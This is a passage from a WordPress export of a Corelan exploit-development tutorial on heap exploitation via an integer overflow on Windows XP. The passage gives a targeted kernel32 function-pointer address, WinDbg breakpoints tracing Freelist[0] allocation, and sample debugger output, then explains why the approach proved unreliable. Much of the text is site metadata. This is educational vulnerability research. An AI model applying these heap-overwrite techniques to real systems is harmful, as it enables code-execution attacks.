beginning at the following function pointer.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0x7c88732c : 0x7c88732c gets called from kernel32.dll at 0x7c83dd67 (CALL DWORD PTR DS:[7C88732C]) -&#160; Chunksize: 664 (0x298), UserPtr 0x7c887320, Flink 0x0044002e, Blink 0x004c004c -&#160; {PAGE_READWRITE}<\/pre>\n<p>Also, I\u2019ve included a series of WinDbg breakpoints which I\u2019ve found to be helpful when analyzing this type of attach.&#160; Apply these breakpoints just prior to your targeted allocation request:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">r @$t0 = 1\nbp 7c910ed2 &quot;.printf \\&quot;\\\\nRetrieve size of last chunk in the list: 0x%04x\\\\n\\&quot;, wo(eax); gc&quot;\nbp 7c910ed5 &quot;.printf \\&quot;Is final chunk larger than requested: \\&quot;; .if (@eax &gt; @edi) {.printf \\&quot;Yes - (0x%p &gt; 0x%p)\\\\n\\&quot;, eax, edi;gc} .else {.printf \\&quot;No\\\\n\\&quot;;gc}&quot;\nbp 7c910edd &quot;.printf \\&quot;Retrieving UserPtr of chunk in Freelist[0]: 0x%p\\\\n\\&quot;, poi(ebp-28h); gc&quot;\nbp 7c910ee0 &quot;.printf \\&quot;Loading Flink of chunk 0x%x: 0x%p\\\\n\\&quot;, @$t0, poi(eax); r@$t0=@$t0+1; gc&quot;\nbp 7c910ef4 &quot;.printf \\&quot;  Load ChunkSize: 0x%04x\\\\n\\&quot;, wo(esi); gc&quot;\nbp 7c910ef7 &quot;.printf \\&quot;  Is chunk large enough to handle request (0x%p &gt;= 0x%p): \\&quot;, @ecx, @edi; .if (@ecx &gt;= @edi) {.printf \\&quot;Yes\\\\n\\&quot;;gc} .else {.printf \\&quot;No\\\\n\\&quot;;gc}&quot;\nbp 7c910f20 &quot;.printf \\&quot;Performing Security Check: \\&quot;; .if (poi(@eax+4)!=@edi) {.printf \\&quot;Failed\\\\n\\&quot;;gc} .else {.printf \\&quot;Passed\\\\n\\&quot;;gc}&quot;\nbp 7c910f86 &quot;.printf \\&quot;Are chunk sizes different: \\&quot;; .if (@ebx and @ebx) {.printf \\&quot;Yes\\\\n\\&quot;;gc} .else {.printf \\&quot;No\\\\n\\&quot;;gc}&quot;\nbp 7c910f8e &quot;.printf \\&quot;Is difference more than 1 block: 0x%p\\&quot;, @ebx; .if (@ebx&gt;0x1) {.printf \/ow \\&quot;\\\\nYes. Splitting block!  This will likely fail!\\\\n\\\\n\\&quot;;gc} .else {.printf \\&quot;\\\\nNo\\\\n\\\\n\\&quot;;gc}&quot;<\/pre>\n<p>An example of the output generated by these breakpoints can be found below. Please note, that in the following example, I used the proof of concept provided above which targets the writable function pointer located at 0x7c88732c<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Retrieve size of last chunk in the list: 0x021b\nIs final chunk larger than requested: Yes - (0x0000021b &gt; 0x00000053)\nRetrieving UserPtr of chunk in Freelist[0]: 0x03200178\nLoading Flink of chunk 0x1: 0x032071f8\n  Load ChunkSize: 0x0001\n  Is chunk large enough to handle request (0x00000001 &gt;= 0x00000053): No\nLoading Flink of chunk 0x2: 0x7c887320\n  Load ChunkSize: 0x0053\n  Is chunk large enough to handle request (0x00000053 &gt;= 0x00000053): Yes\nPerforming Security Check: Failed\nHeap corruption detected at 7C887320\nAre chunk sizes different: No\nRtlAllocateHeap hHEAP 0x03200000, size=0x290, chunk at 0x7c887320<\/pre>\n<p>&#160;<\/p>\n<h5>Why Not?<\/h5>\n<p>Before wrapping this up, I\u2019d like to leave you with a few closing news in regards to why I didn\u2019t choose this method of exploitation.<\/p>\n<p>There are several issues with targeting the _HEAP base in this type of attack.&#160; The primary issue at hand is that as the overflow occurs in a private heap, the base address of this heap is likely unreliable.&#160; Therefore, specifying a static address within the heap base may possibly fail.&#160; Furthermore, by overwriting such a large portion of the _HEAP structure as we demonstrated above, you\u2019ll likely need to reconstruct much of it in your payload to ensure that future allocations do not cause access violations as the proof of concept I\u2019ve provided above, certainly will.&#160; Also, targeting this type of attack also requires that we can control the size of one additional allocation in order to trigger the RtlCommitRoutine.&#160; Unfortunately in the example I\u2019ve provided, we cannot as the next allocation request, of 0x10 bytes, is out of our control.&#160; If we were able to get LAL[2] populated with a free entry prior to this allocation, we could control the following allocation, however at the time of writing, I was unable to do so.<\/p>\n<p>Now, when applying this type of attack to writable function pointers, we again have no shortage of issues.&#160; During testing I was able to overwrite a number of function pointers.&#160; However, none of these pointers were triggered prior to triggering an access violation in the heap manager.&#160; Furthermore, as I mentioned above, many of the pointers returned are in fact unusable as the size of these requests are likely larger than the largest current entry within Freelist[0], and are also likely larger than the maximum possible size of an entry maintained by Freelist[0].&#160; Again, I do believe that it is in fact possible to target writable function pointers by utilizing our n-byte write in combination with various writable function pointer to fake chunk offsets, however at the time of writing, I was unable to do so.<\/p>\n<p>&#160;<\/p>\n<h3>Conclusion<\/h3>\n<p>In closing, I\u2019d simply like to reiterate the notion that I had first mentioned in my previous article.&#160; There are many ways to EIP.&#160; Depending on your application, the level of control you can exhibit over the heap, and how determined you are, there likely will always be a way.&#160; Atleast, that\u2019s what we hope.<\/p>\n<p>Also for those keeping count, !exploitable: 1 for 2.&#160; Let\u2019s see what happens next time\u2026<\/p>\n<p>And with that I\u2019d just like to thank my friends over at Corelan for giving me the opprotunity to release this work under their umbrella.&#160; I\u2019d also like to thank them for the numerous hours they spent reviewing this document, listening to me complain about the nusances of the QT file format, and just generally being helpful.&#160; And thanks to corelanc0d3r specifically for implementing some of my wacky ideas into !mona even when they didn't pan out.<\/p>\n<p>Thanks fellas!<\/p>\n<p>&#160;<\/p>\n<h4>Recommended Reading<\/h4>\n<p><a href=\"http:\/\/www.ptsecurity.com\/download\/defeating-xpsp2-heap-protection.pdf\" target=\"_blank\" rel=\"noopener\">Defeating Microsoft Windows XP SP2 Heap protection and DEP bypass<\/a> - Alexander Anisimov (2004)<\/p>\n<p>Exploiting Freelist[0] On XP SP2 \u2013 Brett Moore (2005)<\/p>\n<p>Heaps about Heaps \u2013 Brett Moore (2005)<\/p>\n<p><a href=\"https:\/\/www.blackhat.com\/presentations\/bh-usa-09\/MCDONALD\/BHUSA09-McDonald-WindowsHeap-PAPER.pdf\" target=\"_blank\" rel=\"noopener\">Practical Windows XP\/2003 Heap Exploitation<\/a> \u2013 John McDonald &amp; Chris Valasek (2009)<\/p>\n<p>&#160;<\/p>\n<\/p>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>Foreword Over the past few years, Corelan Team has received many exploit related questions, including &quot;I have found a bug and I don't seem to control EIP, what can I do ?&quot;; &quot;Can you write a tutorial on heap overflows&quot; or &quot;what are Integer overflows&quot;. In this article, Corelan Team member Jason Kratzer (pyoor) tries &hellip; <a href=\"https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> \"Root Cause Analysis &ndash; Integer Overflows\"<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[3708,244,282],"tags":[3732,3173,2802,1991,1851,1828,285],"class_list":["post-9839","post","type-post","status-publish","format-standard","hentry","category-debugging","category-exploit-writing-tutorials","category-root-cause-analysis","tag-heap-exploitation","tag-peach","tag-mona-py","tag-fuzzing","tag-exploitable","tag-overflow","tag-windbg"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Root Cause Analysis &ndash; Integer Overflows - Corelan | Exploit Development &amp; Vulnerability Research<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Root Cause Analysis &ndash; Integer Overflows - Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"og:description\" content=\"Foreword Over the past few years, Corelan Team has received many exploit related questions, including &quot;I have found a bug and I don&#039;t seem to control EIP, what can I do ?&quot;; &quot;Can you write a tutorial on heap overflows&quot; or &quot;what are Integer overflows&quot;. In this article, Corelan Team member Jason Kratzer (pyoor) tries &hellip; Continue reading &quot;Root Cause Analysis &ndash; Integer Overflows&quot;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/\" \/>\n<meta property=\"og:site_name\" content=\"Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/corelanconsulting\" \/>\n<meta property=\"article:published_time\" content=\"2013-07-02T13:00:41+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-03-22T09:12:32+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/05\/RCAIntegerOverflow6_thumb.png\" \/>\n<meta name=\"author\" content=\"Corelan Team (Jason Kratzer)\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@corelanc0d3r\" \/>\n<meta name=\"twitter:site\" content=\"@corelanc0d3r\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/07\\\/02\\\/root-cause-analysis-integer-overflows\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/07\\\/02\\\/root-cause-analysis-integer-overflows\\\/\"},\"author\":{\"name\":\"Corelan Team (Jason Kratzer)\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/f9867776d2cce498f912016e7d217e14\"},\"headline\":\"Root Cause Analysis &ndash; Integer Overflows\",\"datePublished\":\"2013-07-02T13:00:41+00:00\",\"dateModified\":\"2026-03-22T09:12:32+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/07\\\/02\\\/root-cause-analysis-integer-overflows\\\/\"},\"wordCount\":19971,\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/07\\\/02\\\/root-cause-analysis-integer-overflows\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2013\\\/05\\\/RCAIntegerOverflow6_thumb.png\",\"keywords\":[\"heap exploitation\",\"peach\",\"mona.py\",\"fuzzing\",\"!exploitable\",\"overflow\",\"windbg\"],\"articleSection\":[\"Debugging\",\"Exploit Writing Tutorials\",\"Root Cause Analysis\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/07\\\/02\\\/root-cause-analysis-integer-overflows\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/07\\\/02\\\/root-cause-analysis-integer-overflows\\\/\",\"name\":\"Root Cause Analysis &ndash; Integer Overflows - Corelan | Exploit Development &amp; Vulnerability Research\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/07\\\/02\\\/root-cause-analysis-integer-overflows\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/07\\\/02\\\/root-cause-analysis-integer-overflows\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2013\\\/05\\\/RCAIntegerOverflow6_thumb.png\",\"datePublished\":\"2013-07-02T13:00:41+00:00\",\"dateModified\":\"2026-03-22T09:12:32+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/07\\\/02\\\/root-cause-analysis-integer-overflows\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/07\\\/02\\\/root-cause-analysis-integer-overflows\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/07\\\/02\\\/root-cause-analysis-integer-overflows\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2013\\\/05\\\/RCAIntegerOverflow6_thumb.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2013\\\/05\\\/RCAIntegerOverflow6_thumb.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/07\\\/02\\\/root-cause-analysis-integer-overflows\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.corelan.be\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Root Cause Analysis &ndash; Integer Overflows\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"name\":\"Corelan CyberSecurity Research\",\"description\":\"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.corelan.be\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\",\"name\":\"Corelan CyberSecurity Research\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"width\":200,\"height\":200,\"caption\":\"Corelan CyberSecurity Research\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/corelanconsulting\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\",\"https:\\\/\\\/x.com\\\/corelanconsulting\",\"https:\\\/\\\/instagram.com\\\/corelanconsult\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/f9867776d2cce498f912016e7d217e14\",\"name\":\"Corelan Team (Jason Kratzer)\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/8d3aced019ebe0a3fa79c54ba51e90503c5155f42bfb0d520647b4a86593d460?s=96&d=mm&r=x\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/8d3aced019ebe0a3fa79c54ba51e90503c5155f42bfb0d520647b4a86593d460?s=96&d=mm&r=x\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/8d3aced019ebe0a3fa79c54ba51e90503c5155f42bfb0d520647b4a86593d460?s=96&d=mm&r=x\",\"caption\":\"Corelan Team (Jason Kratzer)\"},\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/author\\\/jkratzer\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Root Cause Analysis &ndash; Integer Overflows - Corelan | Exploit Development &amp; Vulnerability Research","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/","og_locale":"en_US","og_type":"article","og_title":"Root Cause Analysis &ndash; Integer Overflows - Corelan | Exploit Development &amp; Vulnerability Research","og_description":"Foreword Over the past few years, Corelan Team has received many exploit related questions, including &quot;I have found a bug and I don't seem to control EIP, what can I do ?&quot;; &quot;Can you write a tutorial on heap overflows&quot; or &quot;what are Integer overflows&quot;. In this article, Corelan Team member Jason Kratzer (pyoor) tries &hellip; Continue reading \"Root Cause Analysis &ndash; Integer Overflows\"","og_url":"https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/","og_site_name":"Corelan | Exploit Development &amp; Vulnerability Research","article_publisher":"https:\/\/www.facebook.com\/corelanconsulting","article_published_time":"2013-07-02T13:00:41+00:00","article_modified_time":"2026-03-22T09:12:32+00:00","og_image":[{"url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/05\/RCAIntegerOverflow6_thumb.png","type":"","width":"","height":""}],"author":"Corelan Team (Jason Kratzer)","twitter_card":"summary_large_image","twitter_creator":"@corelanc0d3r","twitter_site":"@corelanc0d3r","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/#article","isPartOf":{"@id":"https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/"},"author":{"name":"Corelan Team (Jason Kratzer)","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/f9867776d2cce498f912016e7d217e14"},"headline":"Root Cause Analysis &ndash; Integer Overflows","datePublished":"2013-07-02T13:00:41+00:00","dateModified":"2026-03-22T09:12:32+00:00","mainEntityOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/"},"wordCount":19971,"publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/#primaryimage"},"thumbnailUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/05\/RCAIntegerOverflow6_thumb.png","keywords":["heap exploitation","peach","mona.py","fuzzing","!exploitable","overflow","windbg"],"articleSection":["Debugging","Exploit Writing Tutorials","Root Cause Analysis"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/","url":"https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/","name":"Root Cause Analysis &ndash; Integer Overflows - Corelan | Exploit Development &amp; Vulnerability Research","isPartOf":{"@id":"https:\/\/www.corelan.be\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/#primaryimage"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/#primaryimage"},"thumbnailUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/05\/RCAIntegerOverflow6_thumb.png","datePublished":"2013-07-02T13:00:41+00:00","dateModified":"2026-03-22T09:12:32+00:00","breadcrumb":{"@id":"https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/#primaryimage","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/05\/RCAIntegerOverflow6_thumb.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/05\/RCAIntegerOverflow6_thumb.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.corelan.be\/"},{"@type":"ListItem","position":2,"name":"Root Cause Analysis &ndash; Integer Overflows"}]},{"@type":"WebSite","@id":"https:\/\/www.corelan.be\/#website","url":"https:\/\/www.corelan.be\/","name":"Corelan CyberSecurity Research","description":"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.","publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.corelan.be\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.corelan.be\/#organization","name":"Corelan CyberSecurity Research","url":"https:\/\/www.corelan.be\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","width":200,"height":200,"caption":"Corelan CyberSecurity Research"},"image":{"@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/corelanconsulting","https:\/\/x.com\/corelanc0d3r","https:\/\/x.com\/corelanconsulting","https:\/\/instagram.com\/corelanconsult"]},{"@type":"Person","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/f9867776d2cce498f912016e7d217e14","name":"Corelan Team (Jason Kratzer)","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/8d3aced019ebe0a3fa79c54ba51e90503c5155f42bfb0d520647b4a86593d460?s=96&d=mm&r=x","url":"https:\/\/secure.gravatar.com\/avatar\/8d3aced019ebe0a3fa79c54ba51e90503c5155f42bfb0d520647b4a86593d460?s=96&d=mm&r=x","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/8d3aced019ebe0a3fa79c54ba51e90503c5155f42bfb0d520647b4a86593d460?s=96&d=mm&r=x","caption":"Corelan Team (Jason Kratzer)"},"url":"https:\/\/www.corelan.be\/index.php\/author\/jkratzer\/"}]}},"views":36841,"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/9839","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/comments?post=9839"}],"version-history":[{"count":1,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/9839\/revisions"}],"predecessor-version":[{"id":17190,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/9839\/revisions\/17190"}],"wp:attachment":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/media?parent=9839"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/categories?post=9839"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/tags?post=9839"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}